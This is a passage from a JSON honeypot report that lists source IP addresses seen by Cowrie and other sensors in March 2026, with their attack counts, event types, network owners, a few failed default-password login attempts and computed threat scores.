      "first_seen": "2026-03-06T07:07:59.812Z",
      "last_seen": "2026-03-06T07:08:02.586Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:59:40.343000+00:00",
        "last_seen_30d": "2026-03-30T02:13:32.312000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "103.171.69.64": {
      "attack_count": 5,
      "first_seen": "2026-03-05T13:43:39.709Z",
      "last_seen": "2026-03-05T13:43:41.707Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234Admin@#$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T13:43:39.709000+00:00",
        "last_seen_30d": "2026-03-05T13:44:49.817000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "91.230.168.75": {
      "attack_count": 5,
      "first_seen": "2026-03-04T00:09:12.415Z",
      "last_seen": "2026-03-04T00:09:35.823Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T09:51:50+00:00",
        "last_seen_30d": "2026-03-31T13:10:52.172000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 48,
        "Cowrie": 5
      }
    },
    "125.59.29.46": {
      "attack_count": 4,
      "first_seen": "2026-03-13T05:28:46.484Z",
      "last_seen": "2026-03-17T11:32:41.738Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9908,
      "as_org": "HK Cable TV Ltd",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T05:28:46.484000+00:00",
        "last_seen_30d": "2026-03-17T11:33:51.546000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "138.68.84.216": {
      "attack_count": 4,
      "first_seen": "2026-03-10T09:52:01.225Z",
      "last_seen": "2026-03-10T09:52:09.273Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T09:51:59+00:00",
        "last_seen_30d": "2026-03-10T09:53:14.607000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "147.185.132.100": {
      "attack_count": 4,
      "first_seen": "2026-03-14T11:32:17.221Z",
      "last_seen": "2026-03-19T23:05:52.959Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:41:46+00:00",
        "last_seen_30d": "2026-03-31T07:10:50.672000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 37,
        "Adbhoney": 4,
        "Cowrie": 4,
        "ConPot": 1,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "147.185.132.75": {
      "attack_count": 4,
      "first_seen": "2026-03-03T05:04:27.773Z",
      "last_seen": "2026-03-03T05:04:31.215Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 29,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T08:00:29+00:00",
        "last_seen_30d": "2026-03-30T19:31:51.758000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Honeytrap": 45,
        "Mailoney": 5,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "ConPot": 2,
        "Tanner": 1
      }
    },
    "195.154.200.178": {
      "attack_count": 4,
      "first_seen": "2026-03-05T14:02:41.670Z",
      "last_seen": "2026-03-06T14:11:41.754Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 6,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T02:16:01.666000+00:00",
        "last_seen_30d": "2026-03-07T10:19:46.716000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 202,
        "Honeytrap": 72,
        "Dionaea": 9,
        "Cowrie": 4,
        "H0neytr4p": 3,
        "Redishoneypot": 3,
        "Tanner": 1
      }
    },
    "198.235.24.247": {
      "attack_count": 4,
      "first_seen": "2026-03-07T16:56:21.246Z",
      "last_seen": "2026-03-07T16:56:24.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:04:19.848000+00:00",
        "last_seen_30d": "2026-03-31T13:20:37.493000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 30,
        "Cowrie": 4,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "198.235.24.47": {
      "attack_count": 4,
      "first_seen": "2026-03-05T22:22:05.420Z",
      "last_seen": "2026-03-05T22:22:08.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-03T01:48:58+00:00",
        "last_seen_30d": "2026-03-31T02:10:21.811000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 30,
        "Miniprint": 9,
        "Dionaea": 5,
        "Cowrie": 4,
        "ConPot": 2,
        "H0neytr4p": 2
      }
    },
    "198.235.24.89": {
      "attack_count": 4,
      "first_seen": "2026-03-13T15:19:36.568Z",
      "last_seen": "2026-03-23T15:19:02.592Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T22:07:17.760000+00:00",
        "last_seen_30d": "2026-03-31T19:52:17.995000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 35,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "205.210.31.92": {
      "attack_count": 4,
      "first_seen": "2026-03-20T10:49:02.005Z",
      "last_seen": "2026-03-20T10:49:06.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:36:51+00:00",
        "last_seen_30d": "2026-03-30T04:52:59.222000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 23,
        "Cowrie": 4,
        "ElasticPot": 1,
        "Tanner": 1
      }
    },
    "64.62.197.108": {
      "attack_count": 4,
      "first_seen": "2026-03-30T12:17:56.762Z",
      "last_seen": "2026-03-30T12:18:00.763Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T04:27:37.759000+00:00",
        "last_seen_30d": "2026-03-30T12:19:09.185000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "107.173.241.217": {
      "attack_count": 3,
      "first_seen": "2026-03-29T11:07:13.033Z",
      "last_seen": "2026-03-29T11:08:17.620Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T11:07:13.033000+00:00",
        "last_seen_30d": "2026-03-29T11:09:19.069000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "197.140.29.82": {
      "attack_count": 3,
      "first_seen": "2026-03-03T20:47:24.047Z",
      "last_seen": "2026-03-03T20:49:24.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Boumerdas",
      "asn": 36891,
      "as_org": "Sarl Icosnet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:10:35.720000+00:00",
        "last_seen_30d": "2026-03-04T23:53:36.304000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3
      }
    },
    "118.173.20.128": {
      "attack_count": 2,
      "first_seen": "2026-03-20T10:51:29.988Z",
      "last_seen": "2026-03-20T10:52:00.460Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Tha Sala",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T10:51:29.988000+00:00",
        "last_seen_30d": "2026-03-20T10:53:05.688000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "120.157.69.47": {
      "attack_count": 2,
      "first_seen": "2026-03-23T08:42:36.647Z",
      "last_seen": "2026-03-23T08:42:36.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T08:42:36.647000+00:00",
        "last_seen_30d": "2026-03-23T08:43:41.080000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.199.167.165": {
      "attack_count": 2,
      "first_seen": "2026-03-17T11:21:59.207Z",
      "last_seen": "2026-03-17T11:21:59.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T11:21:59.207000+00:00",
        "last_seen_30d": "2026-03-17T11:22:59.617000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "143.244.134.107": {
      "attack_count": 2,
      "first_seen": "2026-03-08T15:48:53.796Z",
      "last_seen": "2026-03-08T15:48:54.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T15:48:53.796000+00:00",
        "last_seen_30d": "2026-03-08T15:49:55.371000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "157.173.127.78": {
      "attack_count": 2,
      "first_seen": "2026-03-27T12:56:09.884Z",
      "last_seen": "2026-03-27T12:56:41.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T12:56:09.884000+00:00",
        "last_seen_30d": "2026-03-27T12:57:46.169000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.236.60": {
      "attack_count": 2,
      "first_seen": "2026-03-15T18:55:22.145Z",
      "last_seen": "2026-03-15T18:55:22.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:55:16.594000+00:00",
        "last_seen_30d": "2026-03-15T18:56:24.224000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "171.37.47.124": {
      "attack_count": 2,
      "first_seen": "2026-03-20T18:25:28.665Z",
      "last_seen": "2026-03-20T18:25:28.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanning",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:25:28.665000+00:00",
        "last_seen_30d": "2026-03-20T18:26:36.297000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.145.110.126": {
      "attack_count": 2,
      "first_seen": "2026-03-06T02:01:41.250Z",
      "last_seen": "2026-03-06T02:01:54.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kangar",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:01:41.250000+00:00",
        "last_seen_30d": "2026-03-06T02:03:02.538000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.200.44.22": {
      "attack_count": 2,
      "first_seen": "2026-03-15T11:46:25.194Z",
      "last_seen": "2026-03-15T11:46:39.034Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 266539,
      "as_org": "LINQ TELECOMUNICACOES",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:46:25.194000+00:00",
        "last_seen_30d": "2026-03-15T11:47:41.002000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.202.236.171": {
      "attack_count": 2,
      "first_seen": "2026-03-18T07:33:09.808Z",
      "last_seen": "2026-03-18T07:33:41.220Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-18T05:06:45+00:00",
        "last_seen_30d": "2026-03-18T07:34:49.127000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 40,
        "Cowrie": 2
      }
    },
    "190.215.90.80": {
      "attack_count": 2,
      "first_seen": "2026-03-10T04:07:58.777Z",
      "last_seen": "2026-03-10T04:08:29.200Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Las Condes",
      "asn": 18822,
      "as_org": "Manquehuenet",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T04:07:58.777000+00:00",
        "last_seen_30d": "2026-03-10T04:09:38.581000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.104": {
      "attack_count": 2,
      "first_seen": "2026-03-18T09:27:01.538Z",
      "last_seen": "2026-03-18T09:27:01.540Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T11:03:04+00:00",
        "last_seen_30d": "2026-03-31T16:10:23.857000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 29,
        "Cowrie": 2
      }
    },
    "205.210.31.18": {
      "attack_count": 2,
      "first_seen": "2026-03-30T16:39:10.869Z",
      "last_seen": "2026-03-30T16:39:42.020Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 64.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 20.0,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 22,
